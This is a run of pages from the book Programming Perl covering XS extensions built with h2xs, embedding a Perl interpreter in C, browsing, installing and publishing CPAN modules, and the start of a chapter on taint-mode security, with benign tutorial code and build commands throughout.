A proper extension consists of several files: one containing the XS code, plus other supporting files that help Perl figure out what to do with the XS code. You can create all of these files by hand, but it's easier to use the h2xs tool, which creates a skeletal extension that you can then flesh out:

h2xs -A -n Mytest
This creates a directory named Mytest, possibly under ext/ if that directory exists in the current directory. Six files will be created in the Mytest directory: MANIFEST, Makefile.PL, Mytest.pm, Mytest.xs, test.pl, and Changes. We describe the first four below.

MANIFEST

The MANIFEST file contains the names of all the files just created in the Mytest directory. If you add more files to your extension and intend to distribute it to the wide world, add the filenames here. This is tested by some systems to ensure that your distribution is complete.

Makefile.PL

This is a Perl program that generates a Makefile (which is then passed to make or an equivalent). Makefile.PL is described further in "Creating CPAN Modules" in Chapter 22, "CPAN".

Mytest.pm

Users will use this module when they want to load your extension. You're expected to fill in the blanks in the skeletal module created for you by h2xs:

package Mytest;

use strict;
use warnings;

require Exporter;
require DynaLoader;

our @ISA = qw(Exporter DynaLoader);
# Items to export into callers namespace by default. Note: do not export
# names by default without a very good reason. Use EXPORT_OK instead.
# Do not simply export all your public functions/methods/constants.
our @EXPORT = qw(

);
our $VERSION = '0.01';

bootstrap Mytest $VERSION;

# Preloaded methods go here.

# Autoload methods go after __END__, and are processed by the autosplit program.

1;
__END__
# Below is the stub of documentation for your module. You better edit it!

Most extension modules will require the Exporter and DynaLoader extensions. After setting @ISA (for inheritance) and @EXPORT (to make functions available to the package using the module), the initialization code tells Perl to bootstrap the XS code. Perl then dynamically links the shared library into the perl process at run time.

Mytest.xs

The Mytest.xs file contains the XSUBs that tell Perl how to pass data to the compiled C routines. Initially, Mytest.xs will look something like this:

#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"

MODULE = Mytest                PACKAGE = Mytest
Let's edit the XS file by adding this to the end of the file:
void
hello()
    CODE:
        printf("Hello, world!\n");

When you run perl Makefile.PL, the Makefile that make needs will be created:

% perl Makefile.PL
Checking if your kit is complete...
Looks good
Writing Makefile for Mytest
Running make will now produce output that looks something like this (some long lines have been shortened for clarity and some extraneous lines have been deleted):
% make
umask 0 && cp Mytest.pm ./blib/Mytest.pm
perl xsubpp -typemap typemap Mytest.xs >Mytest.tc && mv Mytest.tc Mytest.c
cc -c Mytest.c
Running Mkbootstrap for Mytest ()
chmod 644 Mytest.bs
LD_RUN_PATH="" ld -o ./blib/PA-RISC1.1/auto/Mytest/Mytest.sl -b Mytest.o
chmod 755 ./blib/PA-RISC1.1/auto/Mytest/Mytest.sl
cp Mytest.bs ./blib/PA-RISC1.1/auto/Mytest/Mytest.bs
chmod 644 ./blib/PA-RISC1.1/auto/Mytest/Mytest.bs
Manifying ./blib/man3/Mytest.3
We assume that the make program that Perl uses to build programs is called make. Instead of running make in these examples, you may have to substitute whatever make program Perl has been configured to use. You can find out what that program is with:
% perl -V:make

Running make created a directory called blib (for "build library") in the current working directory. This directory will contain the shared library that we will build. Once we're sure we know what we're doing, we can install it from that directory into its final resting place. Until then, we'll have to explicitly add the blib directory to Perl's @INC array by using the ExtUtils::testlib module. If we now create a file called hello that looks like this:

use ExtUtils::testlib;   # adds blib/* directories to @INC
use Mytest;
Mytest::hello();

we can burrow down from Perl into C:

% perl hello
Hello, world!

Once your extension is complete and passes all its tests, you can install it with make install.

You will need write permission for your Perl library. (If you don't have permission, you can specify another directory as shown in "Installing CPAN modules" in Chapter 22, "CPAN".)

21.3.3. XSUB Input and Output

Continuing with the previous example, we'll add a second XSUB, which takes a single numeric argument as input and returns 0 if the number is even, or 1 if the number is odd:

int
is_even(x)
        int x
    CODE:
        RETVAL = (x % 2 == 0);
    OUTPUT:
        RETVAL
The list of output parameters occurs at the very end of the function, just after the OUTPUT: directive. The use of RETVAL tells Perl that you wish to send this value back as the return value of the XSUB. Had we wanted the function to modify its input parameter, we would have used x in place of RETVAL.

We can rebuild our new shared library with the same steps as before, generating a Makefile from the Makefile.PL file and running make.

In order to verify that our extension works, we'll create a test suite in test.pl. This file is set up by h2xs to mimic the test script that Perl itself has. Within the script, you may run tests to confirm that the extension behaves properly, printing ok when it does and not ok when it doesn't. Change the print statement in the BEGIN block of test.pl to print "1..4\n";, and add the following code to the end of the file:

print Mytest::is_even(0) == 1 ? "ok 2" : "not ok 2", "\n";
print Mytest::is_even(1) == 0 ? "ok 3" : "not ok 3", "\n";
print Mytest::is_even(2) == 1 ? "ok 4" : "not ok 4", "\n";
The test script will be executed when you type make test.

21.3.4. Using Functions from an External C Library

So far, our two examples haven't relied on any C code outside of the XS file. Now we'll use some functions from the C math library:

void
round(arg)
        double  arg
    CODE:
        if (arg > 0.0) {
                arg = floor(arg + 0.5);
        } else if (arg < 0.0) {
                arg = ceil(arg - 0.5);
        } else {
                arg = 0.0;
        }
    OUTPUT:
        arg
Note that the round we define above does not return a value, but instead changes the value of its argument in place.

The floor(3) and ceil(3) functions are part of the C math library. If you were compiling a C program and needed to link in the math library, you'd append -lm to the command line, so that's what you put into the LIBS line in Makefile.PL:

'LIBS'  => ['-lm'],   # Link in the 'm' math library
Generate the Makefile and run make. Change the BEGIN block to run nine tests and add the following to test.pl:
$i = -1.5; Mytest::round($i); print $i == -2.0 ? "ok 5" : "not ok 5", "\n";
$i = -1.1; Mytest::round($i); print $i == -1.0 ? "ok 6" : "not ok 6", "\n";
$i = 0.0; Mytest::round($i); print $i == 0.0 ? "ok 7" : "not ok 7", "\n";
$i = 0.5; Mytest::round($i); print $i == 1.0 ? "ok 8" : "not ok 8", "\n";
$i = 1.2; Mytest::round($i); print $i == 1.0 ? "ok 9" : "not ok 9", "\n";
Running make test should now print out that all nine tests are okay.

The perlxstut documentation bundled with Perl has several more examples of Perl extensions, including an example that uses h2xs to automatically make an entire C library available to Perl.

Previous | Home | Next
21.2. Internal Data Types | Book Index | 21.4. Embedding Perl (Using Perl from C)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Embedding Perl (Using Perl from C) (Programming Perl)

 Book Home Programming PerlSearch this book

21.4. Embedding Perl (Using Perl from C)

You can access a Perl interpreter from C by embedding Perl inside your C program. Since Perl is itself a C program, embedding consists of taking the important chunks of Perl and integrating them into yours.

Note that embedding isn't necessary if your only goal is to use a standalone Perl program and you don't mind launching a separate process to do so. You can use a function like C's popen(3) to exchange data between your C program and any external Perl program, just like you can use Perl's open(PIPE, "| program") or the IPC::Open2 and IPC::Open3 modules to exchange data between your Perl program and any other program. But if you want to avoid the overhead of launching a separate process, you can embed an interpreter into your C program.

When developing long-running applications (say, for embedding in a web server), it's a good idea to maintain a single persistent interpreter rather than creating and destroying interpreters over and over again. The major reason is speed, since Perl will only be loaded into memory once. By using a persistent Perl interpreter, Apache's mod_perl module avoids loading Perl into memory anew every time someone hits an Apache web page. The perlembed manpage provides an example of a persistent interpreter, as well as an example of how a Perl program can manage multiple simultaneous interpreters (another big plus for web servers).

21.4.1. Compiling Embedded Programs

When you embed Perl in C, your C program will usually allocate, "run", and deallocate a PerlInterpreter object, which is a C struct defined in the libperl library that was built in the process of configuring Perl for your system. The libperl library (along with EXTERN.h and perl.h, which you'll also need) resides in a directory that will vary from system to system. You should be able to find out the name of that directory with:

% perl -MConfig -e "print $Config{archlib}"
You should compile your program in exactly the same way that your perl executable was compiled. First, you'll need to know what C compiler was used to build Perl on your machine. You can learn that from:
% perl -MConfig -e "print $Config{cc}"
You can figure out what to put on the rest of the command line with the standard ExtUtils::Embed module. If you had a C program named interp.c and your C compiler was cc, you could compile it for embedding as follows:
% cc -o interp interp.c `perl -MExtUtils::Embed -e ccopts -e ldopts`

21.4.2. Adding a Perl Interpreter to Your C Program

As it turns out, perl (the C program) is a good example of embedding Perl (the language), so a simple demonstration of embedding can be found in the file miniperlmain.c, included with the Perl source code. Here's a nonportable version of miniperlmain.c containing the essentials of embedding:

#include <EXTERN.h>               /* from the Perl distribution     */
#include <perl.h>                 /* from the Perl distribution     */

static PerlInterpreter *my_perl;  /***    The Perl interpreter    ***/

int main(int argc, char **argv, char **env)
{
    my_perl = perl_alloc();
    perl_construct(my_perl);
    perl_parse(my_perl, NULL, argc, argv, (char **)NULL);
    perl_run(my_perl);
    perl_destruct(my_perl);
    perl_free(my_perl);
}
When this is compiled with the command line above, you'll be able to use interp just like a regular Perl interpreter:
% interp -e "printf('%x', 3735928559)"
deadbeef
You can also execute Perl statements stored in a file by placing the filename in argv[1] before calling perl_run.

21.4.3. Calling a Perl Subroutine from C

If a Perl program contains a subroutine that you want to call from a C program, you can create a Perl interpreter and then use one of the functions beginning with call_ documented in the perlcall manpage to invoke the subroutine. Let's assume this is our Perl program, called showtime.pl:

print "I shan't be printed.";

sub showtime {
    print time;
}
In this example, we'll use call_argv to invoke the showtime subroutine from this C program, called showtime.c:
#include <EXTERN.h>
#include <perl.h>

static PerlInterpreter *my_perl;

int main(int argc, char **argv, char **env)
{
    char *args[] = { NULL };
    my_perl = perl_alloc();
    perl_construct(my_perl);

    perl_parse(my_perl, NULL, argc, argv, NULL);

    /*** skipping perl_run() ***/

    call_argv("showtime", G_DISCARD | G_NOARGS, args);

    perl_destruct(my_perl);
    perl_free(my_perl);
}
Here, we assume showtime is a Perl subroutine that takes no arguments (that's the G_NOARGS) and for which we can ignore the return value (that's the G_DISCARD). Those flags, and others, are discussed in perlcall. We compile and run showtime as follows:
% cc -o showtime showtime.c `perl -MExtUtils::Embed -e ccopts -e ldopts`
% showtime showtime.pl
963852741
In this particular case, we don't call perl_run, but in general it's considered good form so that DESTROY methods and END blocks are executed at the right time.

If you want to pass arguments to the Perl subroutine, you can add strings to the NULL-terminated args list passed to call_argv. For other data types, or to examine return values, you'll need to manipulate the Perl stack. That's touched on lightly later; for the down and dirty, read the perlcall manpage bundled with Perl.

21.4.4. Evaluating a Perl Statement from C

Perl provides two functions for evaluating snippets of Perl code: eval_sv and eval_pv, described in the perlapi manpage. Arguably, these are the only routines you'll ever need to execute Perl code from within your C program. The code executed can be as long as you wish, contain multiple statements, and employ use, require, or do to include other Perl files.

eval_pv lets you evaluate individual Perl strings and then extract variables for coercion into C types. The following program, string.c, executes three Perl strings, extracting an int from the first, a float from the second, and a char * from the third:

#include <EXTERN.h>
#include <perl.h>

static PerlInterpreter *my_perl;

main (int argc, char **argv, char **env)
{
   STRLEN n_a;
   char *embedding[] = { "", "-e", "0" };

   my_perl = perl_alloc();
   perl_construct( my_perl );

   perl_parse(my_perl, NULL, 3, embedding, NULL);
   perl_run(my_perl);

   /** Treat $a as an integer **/
   eval_pv("$a = 3; $a **= 2", TRUE);
   printf("a = %d\n", SvIV(get_sv("a", FALSE)));

   /** Treat $a as a float **/
   eval_pv("$a = 3.14; $a **= 2", TRUE);
   printf("a = %f\n", SvNV(get_sv("a", FALSE)));

   /** Treat $a as a string **/
   eval_pv("$a = 'relreP kcaH rehtonA tsuJ'; $a = reverse($a);", TRUE);
   printf("a = %s\n", SvPV(get_sv("a", FALSE), n_a));

   perl_destruct(my_perl);
   perl_free(my_perl);
}

All of the functions with Sv in their names convert Perl scalars to C types. They're described in the perlguts and perlapi manpages. If you compile and run this program, you'll see the results of using SvIV to create an int, SvNV to create a float, and SvPV to create a C string:

a = 9
a = 9.859600
a = Just Another Hack Perler
In the previous example, we've created a global variable to temporarily store the computed value of our evaluated expression. It is also possible (and in most cases better form) to use the return value of eval_pv instead of throwing it away:
SV *val = eval_pv("reverse 'relreP kcaH rehtonA tsuJ'", TRUE);
printf("%s\n", SvPV(val,n_a));
The perlembed manpage bundled with Perl includes a demonstration of eval_sv that lets you make use of Perl's regular expression capabilities from your C program.

21.4.5. Fiddling with the Perl Stack from C

When trying to explain stacks, most computer science textbooks[2] mumble something about spring-loaded columns of cafeteria plates: the last thing you pushed on the stack is the first thing you pop off. That'll do for our purposes: your C program will push some arguments onto "the Perl stack", shut its eyes while some magic happens, and then pop the results--the return value of your Perl subroutine--off the stack.

[2] Plus the occasional Perl book.

We'll present an example here without much explanation. To really understand what's going on, you'll need to know how to convert between C types and Perl types, with newSViv and sv_setnv and newAV and all their friends described in the perlguts and perlapi manpages. Then you'll need to read perlcall to learn how to manipulate the Perl stack.

Because C has no built-in function for integer exponentiation, let's make Perl's ** operator available to it. (This is less useful than it sounds, since Perl implements ** with C's pow(3) function.) First we'll create an exponentiation function in a library file called power.pl:

sub expo {
    my ($a, $b) = @_;
    return $a ** $b;
}
Now we'll create a C program, power.c, with a function called PerlPower that pushes the two arguments onto the stack, invokes expo, and pops the return value out:
#include <EXTERN.h>
#include <perl.h>

static PerlInterpreter *my_perl;

/* "Real programmers can write assembly code in any language." */

static void
PerlPower(int a, int b)
{
  dSP;                            /* initialize stack pointer         */
  ENTER;                          /* everything created after here    */
  SAVETMPS;                       /* ...is a temporary variable.      */
  PUSHMARK(SP);                   /* remember the stack pointer       */
  XPUSHs(sv_2mortal(newSViv(a))); /* push the base onto the stack     */
  XPUSHs(sv_2mortal(newSViv(b))); /* push the exponent onto stack     */
  PUTBACK;                        /* make local stack pointer global  */
  call_pv("expo", G_SCALAR);      /* call the function                */
  SPAGAIN;                        /* refresh stack pointer            */
                                  /* pop the return value from stack  */
  printf ("%d to the %dth power is %d.\n", a, b, POPi);
  PUTBACK;
  FREETMPS;                       /* free that return value           */
  LEAVE;                          /* ...and the XPUSHed "mortal" args */
}

int main (int argc, char **argv, char **env)
{
  char *my_argv[] = { "", "power.pl" };

  my_perl = perl_alloc();
  perl_construct( my_perl );

  perl_parse(my_perl, NULL, 2, my_argv, (char **)NULL);
  perl_run(my_perl);

  PerlPower(3, 4);                      /*** Compute 3 ** 4 ***/

  perl_destruct(my_perl);
  perl_free(my_perl);
}
You can compile power.c into power like so:
% cc -o power power.c `perl -MExtUtils::Embed -e ccopts -e ldopts`
% power
3 to the 4th power is 81.
Now your power program can sit around being different too.

Previous | Home | Next
21.3. Extending Perl (Using C from Perl) | Book Index | 21.5. The Moral of the Story
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Moral of the Story (Programming Perl)

 Programming PerlSearch this book

21.5. The Moral of the Story

You can sometimes write faster code in C, but you can always write code faster in Perl. Since you can use each from the other, just combine their strengths as you see fit. (And tell the dragons we said "Hi.")

Previous | Home | Next
21.4. Embedding Perl (Using Perl from C) | Book Index | Part 4. Perl as Culture
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CPAN (Programming Perl)

 Programming PerlSearch this book

Chapter 22. CPAN

Contents:

The CPAN modules Directory
Using CPAN Modules
Creating CPAN Modules

CPAN (the Comprehensive Perl Archive Network) is the central repository for everything Perl. It contains the collected wisdom of the entire Perl community: hundreds of Perl modules and scripts, several books' worth of documentation, and the entire Perl distribution. If it's written in Perl, and it's helpful and free, it's probably on CPAN. CPAN is mirrored worldwide, and you can find a nearby mirror with the CPAN multiplexer at http://www.perl.com/CPAN. The multiplexer will remember which mirror you choose so that when you visit http://www.perl.com/CPAN/ (note the trailing slash) you'll be automatically redirected to that mirror. Alternatively, you can start at www.cpan.org. The interface is different, but the data is the same.

Once you get to the main CPAN directory, you'll see some subdirectories:

authors

This directory contains numerous subdirectories, one for each contributor of software. For example, if you wanted to find Lincoln Stein's great CGI module[1] and you happened to know for a fact that he wrote it, you could look in authors/Lincoln_Stein. If you didn't know he wrote it, you could look in the modules directory described below.

[1]Now part of the standard Perl distribution.

doc

This directory holds all manner of Perl documentation, including all of Perl's official manpages in several different arrangements and formats, such as text, HTML, PostScript, and Perl's native pod format, documented in Chapter 26, "Plain Old Documentation".

modules

This directory contains modules written either in Perl or in a combination of both Perl and C. See the discussion of the modules directory below.

ports

This directory contains the source code and sometimes also precompiled executable images of Perl ports to operating systems that are not directly supported in the standard distribution, or for which compilers are notoriously hard to come by. These ports are the individual efforts of their respective authors and may not all function precisely as described in this book. These days few systems should require special ports. The index document of this directory is interesting to look through anyway because it also includes information detailing when each system vendor began shipping Perl.

scripts

This directory contains a small collection of diverse Perl programs from all over the world. These are useful as standalone programs and perhaps as examples (although the code isn't subject to quality control checks). Right now, there aren't many programs listed, but we hope this area will become richer in time. The Perl Power Tools project (PPT) is also to be found here. PPT aims to recreate all the standard Unix utilities in Perl. Most of the standard ones are done already, plus some that aren't standard.

src

Within this directory, you will find the source code for the standard Perl distribution. Actually, for two standard Perl distributions. One is marked stable, and the other devel. (The index page for this directory explains the details.) These are really just links to the appropriate versions. As of this writing, stable.tar.gz is a symbolic link to perl-5.6.0.tar.gz,[2] but it will likely point to a higher version number by the time you read this. This giant file contains the full source code and documentation for Perl. Configuration and installation should be relatively straightforward on most platforms. If not, see ports described earlier.

[2] The general scheme is that if the second number in the version is even, it's a maintenance release; if it's odd, it's a development release. The trailing .tar.gz extension, which is sometimes written .tgz, indicates that it's in the standard Internet format of a GNU-zipped tar archive, commonly known as a "tarball".

22.1. The CPAN modules Directory

Although CPAN contains the complete source code for Perl, plus a few binary distributions for systems bereft of C compilers, as well as a smattering of programs, CPAN is best known for its collection of modules.

When we say "modules", we mean three things: 100% pure Perl modules (described in Chapter 11, "Modules", and Chapter 12, "Objects"), extensions (modules depending on C code, described in Chapter 21, "Internals and Externals"), and pragmas (modules containing special instructions for the Perl compiler, described in Chapter 31, "Pragmatic Modules"). There are also module bundles on CPAN. Bundles are collections of modules that interoperate somehow and are typically the result of a module developer wanting to provide a turnkey solution to a set of problems. If one module depends on another module (and possibly a particular version), developers will often bundle the modules together. See Bundle-XML, for instance.

One way to browse the CPAN modules is to visit http://search.cpan.org, which provides a search engine frontend to CPAN. Another way is to visit your local CPAN mirror and enter the modules directory, where you'll see three subdirectories: by-authors, by-category, and by-name. The by-name directory may be the most useful if your browser has search capabilities--although (lamentably) some modules are only available in the author directories. If you search by category, you'll have the following choices:

Perl core modules, language extensions, and documentation tools

This includes pragmas and other standard modules, modules that help you write Perl differently, modules related to the Perl compiler, source filters, and modules related to Perl's pod documentation format. This category also includes modules for generating Java bytecode.

Development support

This category includes modules for creating modules and examining how Perl runs programs.

Operating system interfaces and hardware drivers

Here you'll find modules for interacting with strange entities like operating systems, PalmPilots, and serial ports.

Networking, device control, and interprocess communication

This includes modules that implement network protocols, manipulate network data, operate modems, and control the appliances in your house.

Data types and data type utilities

This category has modules for math, statistics, algorithms, data structures (and their persistent storage), dates and times, object-oriented programming, PDL (the Perl Data Language, for serious number crunching), and POE (the Perl Object Environment, an object-oriented, event-driven scheduler).

Database interfaces

Here you'll find modules that let you operate several dozen database systems from Perl, most of them with Perl's DBI system. This includes the database-specific DBD modules.

User interfaces (character and graphical)

This includes modules for manipulating user terminals (command-line editing and curses(3)-style character graphics), as well as Perl/Tk and bindings to Gtk, Gnome, Sx, and Qt for writing your own GUIs in Perl.

Interfaces to or emulations of other programming languages

This category has modules for using other programming languages from Perl or letting you pretend that Perl is something it isn't. If you're interested in using Perl from C or C from Perl, see Chapter 21, "Internals and Externals".

Filenames, filesystems, and file locking

This includes modules for inspecting, creating, locking, and otherwise manipulating files and directories.

String processing, language text processing, parsing, and searching

This category contains modules for manipulating text: hyphenating, wrapping, parsing, stemming, and searching. This includes modules for manipulating PostScript, fonts, XML, and RTF.

Option, argument, parameter, and configuration file processing

This category contains modules for processing command-line arguments (the -x in myperlprog -x) and for managing configuration files (like dot files).

Internationalization and locale

This includes modules for tailoring your Perl program for a particular country and language.

Authentication, security, and encryption

Here you'll find modules for managing user passwords, computing message digests, encrypting data, and authenticating users.

World Wide Web, HTML, HTTP, CGI, MIME

This category has modules that let you create CGI-based web pages, web robots, and web-based content management systems. Other modules let you manage cookies, parse HTML and MIME messages, and manipulate web caches. There is also a special section just for Perl modules that you can embed into the Apache web server.

Server and daemon utilities

This includes modules for creating network and event servers.

Archiving, compression, and conversion

Here you'll find modules for zipping and tarring files, and converting between file formats (even the Apple II file format).

Images, pixmap, and bitmap manipulation, drawing, and graphing

This category contains modules for creating graphs, GIFs, VRML, and for working with the Gimp.

Mail and Usenet news

In this category, you'll find modules for sending, receiving, and filtering mail and netnews.

Control flow utilities

This category contains modules for executing Perl code at odd times.

Filehandle, directory handle, and input/output stream utilities

Here are modules for input from and output to files, including log files. Includes all IO:: modules and an Expect module for automating conversations with network services or other interactive programs.

Microsoft Windows modules

This includes modules for manipulating the Windows registry, ASP, ODBC, OLE, and other technologies specific to Windows.

Miscellaneous modules

Here you'll find modules for astronomy, biology, chemistry, validating credit cards (or invalidating credit cards), mortgage amortizations, audio, video, MIDI, weather, and games.

Previous | Home | Next
Part 4. Perl as Culture | Book Index | 22.2. Using CPAN Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using CPAN Modules (Programming Perl)

 Book Home Programming PerlSearch this book

22.2. Using CPAN Modules

Most modules that you'll find on CPAN are in "tarball" form. That is, they have a file extension ending in .tar.gz, and expand into a directory with the module code and any auxiliary files, usually including a README and a Makefile.PL file.

There are four steps for making CPAN modules available to your programs: decompression, unpacking, building, and installation. How each of those steps work depend on your operating system and the module being installed, so we can't give you a foolproof recipe that will work all the time. When in doubt, read the README and INSTALL files that were hopefully distributed with the module. Also read the perlmodinstall manpage.

But you may never have to think about the installation procedure if you use the CPAN module (bundled with the Perl distribution) or PPM (the Perl Package Manager, bundled with the ActiveState distribution of Perl). To use the CPAN module (not to be confused with CPAN itself), type:

% perl -MCPAN -e "shell"
at your command line to begin the configuration process. After you've answered a variety of questions about how you'd like to retrieve files, you can install a module by typing:
install Some::Module
in the CPAN module's shell, or by typing:
% perl -MCPAN -e "install 'Some::Module'"
from your normal command line.

If you don't have the convenience of either the CPAN module or PPM, you'll need to go through the steps in the following sections by hand. Instructions are provided for Unix, Windows, and Macintosh; for other operating systems, consult the perlmodinstall manpage.

22.2.1. Decompressing and Unpacking CPAN Modules

Most of the thousands of utilities on CPAN are compressed so that they take up less space. Once you've retrieved a module tarball, you first need to turn it into a directory tree on your system by decompressing ("unzipping") and unpacking the tarball. On Unix, you can use gzip and tar to do this. (On many systems, tar will do both.) On Windows, WinZip will both decompress and unpack tarballs. On a Macintosh, you can either use StuffIt and DropStuff, MacGzip, or suntar.

22.2.2. Building CPAN Modules

A minority of CPAN modules come with C code that you'll need to compile for your system, which is naturally a problem for systems that lack a C compiler. The standard procedure for building a CPAN module (with or without C code) is the following three commands, executed from the command line. (If you don't have a command line, or a make-equivalent, you'll need to resort to more drastic, system-dependent measures. Windows users have a command line but might need to use the nmake utility instead of make.)

% perl Makefile.PL

% make

% make test
The perl Makefile.PL command will try to create a Makefile, which the subsequent make command uses to determine what utilities need to be built and in what order. The final command, make test, runs the test suite that the module author hopefully included.

22.2.3. Installing CPAN Modules into the Perl Library

Presuming you've followed the previous steps, you now have a module that has been built and tested, but not yet installed into Perl's library. When Perl was installed on your system, a lib directory was created to hold modules, pragmas, and related files. That's the Perl library, which is usually something like /usr/local/lib/perl5 on Unix systems and C:\PERL\LIB by default on Windows systems. Modules installed after Perl was built are stored in the site_perl subdirectory of the Perl library. You can see the names of all your library directories (and a bunch of other stuff) by saying:

% perl -V
To install the module, type:
% make install
Superuser access is normally required, even for installing modules into your site-specific Perl library directories.

With a little work, you can install the module in a directory outside your Perl library (such as your home directory). If you would normally have typed perl Makefile.PL to create a Makefile, you could instead use this incantation:

% perl Makefile.PL LIB=/my/dir/perllib  \
        INSTALLMAN1DIR=/my/dir/man/man1 \
        INSTALLMAN3DIR=/my/dir/man/man3 \
            INSTALLBIN=/my/dir/bin      \
         INSTALLSCRIPT=/my/dir/scripts
This will install the modules somewhere in the /my/dir/perllib directory and any remaining files where they need to go. (If you find yourself typing this a lot, you could even write a little Perl program to do it for you. Perl is good for things like that.)

Then you can have Perl search your special directory for modules by adding:

use lib "/my/dir/perllib";
before your program attempts to load in the module. You may also set the PERL5LIB environment variable to that directory, or use Perl's -I switch. See the use lib pragma in Chapter 31, "Pragmatic Modules" for examples of doing this.

Previous | Home | Next
22.1. The CPAN modules Directory | Book Index | 22.3. Creating CPAN Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating CPAN Modules (Programming Perl)

 Book Home Programming PerlSearch this book

22.3. Creating CPAN Modules

If you have a module that you think others might find useful, consider making the world a better place by uploading it to CPAN. The server that handles new module submissions is called PAUSE (the Perl Authors Upload Server) and can be found at https://pause.kbx.de/pause/. Before you can upload your module, you'll have to get a PAUSE account. This is about as close as you can get to being a "registered Perl developer".

If you call yourself a registered Perl developer, you should know enough to document your modules. Perl has a convention of embedding documentation inside your source code. (That way, you never lose it.) This embedded documentation is in a format called "pod" (for Plain Old Documentation) and is described in Chapter 26, "Plain Old Documentation".

You should consider making your module thread safe. See Chapter 17, "Threads".

You should also worry a little bit about whether your cute little module does things that could break the security of people who use it, because other folks may have some Really Good Reasons to be more concerned about security than you are (yet). See Chapter 23, "Security", for all about how to avoid being responsible for the outbreak of World War III and other such nuisances.

Modules meant to be distributed on CPAN should include a Perl program named Makefile.PL that, when run, generates a Makefile, and a README file briefly explaining what the module is and how to install it. The Makefile will expect your module to include a test suite as well. You can create all these files at once with the h2xs utility:

h2xs -X -n Foo::Bar
(Substitute -A for -X if you're building a module that has an XS component. XS is described in Chapter 21, "Internals and Externals".) The h2xs program creates a single directory with skeletal files for you to flesh out. When you've finished, you can upload the tarballed directory to PAUSE.

The Makefile.PL generated by h2xs will look something like this:

use ExtUtils::MakeMaker;
# See lib/ExtUtils/MakeMaker.pm for details of how to influence
# the contents of the Makefile that is written.
WriteMakefile(
    NAME         => 'Mytest',
    VERSION_FROM => 'Mytest.pm', # finds $VERSION
    LIBS         => [''],   # e.g., '-lm'
    DEFINE       => '',     # e.g., '-DHAVE_SOMETHING'
    INC          => '',     # e.g., '-I/usr/include/other'
);
The first thing Makefile.PL does is to pull in the ExtUtils::MakeMaker module. MakeMaker's WriteMakefile function has oodles of options (where oodles is defined as approximately 88) to help you customize what happens after the user downloads your module from CPAN and types perl MakeFile.PL to begin building it. The nice thing about all this is that, since the user is presumably running the perl that will be used later, you have a wealth of configuration information available (via the Config module or the $^O special variable) to help you decide how to drive MakeMaker. On the other hand, MakeMaker is really good at finding decent defaults for almost everything, so the skeletal file written h2xs may well be all you need, with perhaps a tweak or two. For more on this, see the extensive online docs for ExtUtils::MakeMaker.

When writing a Perl module for general consumption, you should allow for the possibility that the user's version of Perl may differ from yours. You should always put an English description of any dependencies (particular versions of Perl, or system requirements, or other modules) into the README file. However, even that may not be sufficient, since someone using the slick CPAN module to automatically download and install your module might never see the warning. So you should check those dependencies in Makefile.PL. Here's how you might ensure that the person who downloaded your module is running Perl 5.6 or greater:

eval { require 5.6.0 }
    or die <<'EOD';
############
### This module requires lvaluable subroutines, which are not available
### in versions of Perl earlier than 5.6.  Please upgrade!
############
EOD

22.3.1. Internal Testing

The standard instructions for installing a module tell the user to run make test after building the module with make. So please include a decent test script with any module that you upload to CPAN. You should emulate the ok/not ok style that Perl uses in its own test suite, so that it's easy for the user to determine the outcome of each test case. The test.pl file generated by h2xs will help get you started. Chapter 21, "Internals and Externals" has some examples of tests that you can add to the end of test.pl.

If you have many test cases, you might want to mimic Perl's test suite by creating a subdirectory named t/ in the module's directory and appending .t to the names of your different test scripts. When you run make test, all test files will be executed automatically.

22.3.2. External Testing

Modules uploaded to CPAN are tested by a variety of volunteers on different platforms. These CPAN testers are notified by mail of each new upload, and reply to the list with PASS, FAIL, NA (not applicable to this platform), or UNKNOWN (unknown), along with any relevant notations. You can find the mailing list for CPAN testers at cpan-testers@perl.org; test results are posted at http://testers.cpan.org/.

That's all just the preliminary testing, of course. The real testing begins when someone plugs your little module into a web server that's cranking out a million pages a day. Or uses your module to help design the airplane you'll be riding in someday soon.

So go ahead, skip writing those pesky little tests. See if we care...

Previous | Home | Next
22.2. Using CPAN Modules | Book Index | 23. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 23. Security

Contents:

Handling Insecure Data
Handling Timing Glitches
Handling Insecure Code

Whether you're dealing with a user sitting at the keyboard typing commands or someone sending information across the network, you need to be careful about the data coming into your programs, since the other person may, either maliciously or accidentally, send you data that will do more harm than good. Perl provides a special security-checking mechanism called taint mode, whose purpose is to isolate tainted data so that you won't use it to do something you didn't intend to do. For instance, if you mistakenly trust a tainted filename, you might end up appending an entry to your password file when you thought you were appending to a log file. The mechanism of tainting is covered in the section Section 23.1, "Handling Insecure Data".

In multitasking environments, offstage actions by unseen actors can affect the security of your own program. If you presume exclusive ownership of external objects (especially files) as though yours were the only process on the system, you expose yourself to errors substantially subtler than those that come from directly handling data or code of dubious provenance. Perl helps you out a little here by detecting some situations that are beyond your control, but for those that you can control, the key is understanding which approaches are proof against unseen meddlers. The section Section 23.2, "Handling Timing Glitches" discusses these matters.

If the data you get from a stranger happens to be a bit of source code to execute, you need to be even more careful than you would with their data. Perl provides checks to intercept stealthy code masquerading as data so you don't execute it unintentionally. If you do want to execute foreign code, though, the Safe module lets you quarantine suspect code where it can't do any harm and might possibly do some good. These are the topics of the section Section 23.3, "Handling Insecure Code".

23.1. Handling Insecure Data

Perl makes it easy to program securely even when your program is being used by someone less trustworthy than the program itself. That is, some programs need to grant limited privileges to their users, without giving away other privileges. Setuid and setgid programs fall into this category on Unix, as do programs running in various privileged modes on other operating systems that support such notions. Even on systems that don't, the same principle applies to network servers and to any programs run by those servers (such as CGI scripts, mailing list processors, and daemons listed in /etc/inetd.conf). All such programs require a higher level of scrutiny than normal.

Even programs run from the command line are sometimes good candidates for taint mode, especially if they're meant to be run by a privileged user. Programs that act upon untrusted data, like those that generate statistics from log files or use LWP::* or Net::* to fetch remote data, should probably run with tainting explicitly turned on; programs that are not prudent risk being turned into "Trojan horses". Since programs don't get any kind of thrill out of risk taking, there's no particular reason for them not to be careful.

